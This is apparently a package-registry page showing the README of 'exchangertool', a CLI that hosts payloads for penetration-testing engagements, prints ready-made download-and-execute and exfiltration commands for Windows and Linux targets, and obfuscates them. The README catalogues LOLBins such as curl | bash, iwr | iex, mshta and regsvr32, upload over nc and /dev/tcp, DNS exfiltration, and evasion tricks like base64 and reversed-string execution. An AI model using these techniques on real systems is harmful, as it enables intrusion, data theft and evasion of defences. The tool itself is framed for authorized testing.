
Product
Socket for Jira Is Now Available
Socket for Jira lets teams turn alerts into Jira tickets with manual creation, automated ticketing rules, and two-way sync.
exchangertool
Advanced tools
Exchanger is a fast, lightweight, and flexible Python CLI utility designed to streamline file transfers, payload delivery, and data exchange between machines.
Whether you are a system administrator moving files or a security professional leveraging LOLBAS/GTFOBins during an engagement, exchangertool provides a seamless way to host, transfer, and exfiltrate your data.
certutil, curl, PowerShell, iwr, bitsadmin, net use) and GNU/Linux (wget, curl, bash) targets.-o): PowerShell-Obfuscation-Bible–style and Bashfuscator-style command obfuscation for authorized testing.--auth): Protect downloads/uploads with HTTP Basic authentication.--one-shot): Server exits after completing a single transfer.push): Actively push a file to a listening target.--encode base64): Auto-encode on push, auto-decode on receive.-c): Auto-copy first target command to clipboard.-q): Display download URL as a QR code for air-gapped transfers.net use / copy commands via WebDAV.--proxy): Generate proxy-aware target commands (SOCKS5/HTTP).--log): Log all requests to a file (timestamp, IP, method, path, user-agent).file.1, file.2, etc.--protocol smb): Serve files over SMB using impacket (optional).pipx.pipx install exchangertool
# QR code support
pipx install exchangertool[qr]
# SMB support (requires impacket)
pipx install exchangertool[smb]
# Everything
pipx install exchangertool[all]
pipx installs to your user directory (e.g. ~/.local/bin). For root:
# Option 1: Full path
sudo "$(which exchanger)" serve --port 80
# Option 2: System-wide install
sudo pip install exchangertool
# Option 3: Allow low ports without sudo (Linux)
sudo setcap 'cap_net_bind_service=+ep' "$(which exchanger)"
exchanger # serve current directory on port 80
exchanger serve -d /payloads -p 8080 # serve specific dir on custom port
exchanger serve --auth admin:s3cret # require authentication
exchanger serve --one-shot # exit after first download
exchanger serve -o # obfuscated commands to stdout
exchanger serve -c # copy first command to clipboard
exchanger serve -q # show QR code of download URL
exchanger serve --proxy socks5://127.0.0.1:1080 # proxy-aware commands
exchanger serve --log requests.log # log all requests
exchanger receive # listen for target to POST files
exchanger receive --encode base64 # auto-decode base64 uploads
exchanger receive --one-shot # exit after first upload
exchanger receive --auth user:pass # require auth for uploads
exchanger push payload.bin 10.0.0.1:8080 # push file to target
exchanger push payload.bin 10.0.0.1:8080 --encode base64 # base64-encode
exchanger serve --protocol smb -d /share -p 445
exchanger serve --protocol smb --auth admin:pass
usage: exchanger [-h] {serve,receive,push} ...
Serve files or listen to receive (target POSTs to host). Default port 80.
positional arguments:
{serve,receive,push} command (default: serve)
serve serve current directory; others can send/receive
receive listen for target to POST file to you
push push a file to a listening target
common options (serve/receive):
--protocol {http,smb} protocol (default: http)
-p, --port PORT port (default: 80)
-d, --dir DIR directory to serve/save (default: .)
--bind ADDR address to bind (default: 0.0.0.0)
-o, --obfuscate obfuscated commands to stdout
--one-shot exit after first transfer
--auth USER:PASS HTTP Basic auth
--log FILE log requests to file
--proxy PROXY_URL proxy for target commands
-c, --clipboard copy first command to clipboard
-q, --qr show QR code of download URL
receive-only:
--encode base64 decode uploads on the server
push:
exchanger push FILE TARGET [--encode base64]
When you start the server, exchanger prints ready-to-paste commands organized by platform:
| Category | Linux (GTFOBins) | Windows (LOLBAS) |
|---|---|---|
| Download | curl, wget, /dev/tcp | curl, wget, certutil, iwr, bitsadmin |
| Download LOLBins | python3, perl, ruby, php, nc, socat, openssl, lwp-download, tftp | DownloadFile, Start-BitsTransfer, mshta, regsvr32, msiexec, hh.exe, esentutl, expand, findstr, replace, cscript |
| In-Memory | curl | bash, wget | bash | iwr | iex, WebClient.DownloadString |
| In-Memory LOLBins | python exec(), perl eval(), ruby eval(), php eval() | mshta vbscript, rundll32 javascript, powershell -enc, cscript //e:jscript, Reflection.Assembly.Load |
| Upload | curl -X POST | curl -X POST |
| Upload LOLBins | nc, python requests, openssl s_client, socat, bash /dev/tcp | WebClient.UploadFile, WebClient.UploadData, iwr -Method POST |
| Checksum | sha256sum | Get-FileHash |
| DNS Exfil | xxd | nslookup, base64 | dig | PowerShell + nslookup |
| Chunked | split + curl loop | PowerShell byte chunking |
| WebDAV | — | net use, copy |
All commands respect --auth, --proxy, and -o (obfuscation) flags.
-o)When -o is passed, all target commands are obfuscated and written to stdout (for piping/redirection).
PowerShell obfuscation:
i''ex, i""wr)iNvOkE-wEbReQuEsT)i`e`x)("{0}{1}{2}" -f 'i','e','x'))& (gcm i*e*-E*n))-EncodedCommand (base64 UTF-16LE full command wrap)[scriptblock]::Create() wrappingSet-Alias for cmdlet renaming$True/$False boolean substitutionBash obfuscation:
echo ... | base64 -d | bash, eval $(...), source <(...))_var=curl; $_var ...)a=curl; b=a; ${!b} ...)$'\x63\x75\x72\x6c')$(printf '\x63\x75\x72\x6c'))echo '...reversed...' | rev | bash)curl${IFS}-s${IFS}http://...)cu''rl, wg''et)CI runs the test suite on Python 3.10–3.13 with mypy type checking on every push/PR.
pip install -e ".[dev]"
pytest tests/ -v
mypy exchanger/ --ignore-missing-imports
Coverage report: pytest tests/ --cov=exchanger --cov-report=term-missing
Contributions, bug reports, and feature requests are always welcome! Feel free to check out the issues page.
This project is licensed under the MIT License.
FAQs
Minimal CLI to send or receive files over HTTP or SMB.
We found that exchangertool demonstrated a healthy version release cadence and project activity because the last version was released less than a year ago. It has 1 open source maintainer collaborating on the project.
Did you know?

Socket for GitHub automatically highlights issues in each pull request and monitors the health of all your open source dependencies. Discover the contents of your packages and block harmful activity before you install or update your dependencies.

Product
Socket for Jira lets teams turn alerts into Jira tickets with manual creation, automated ticketing rules, and two-way sync.

Company News
Socket won two 2026 Reppy Awards from RepVue, ranking in the top 5% of all sales orgs. AE Alexandra Lister shares what it's like to grow a sales career here.

Security News
NIST will stop enriching most CVEs under a new risk-based model, narrowing the NVD's scope as vulnerability submissions continue to surge.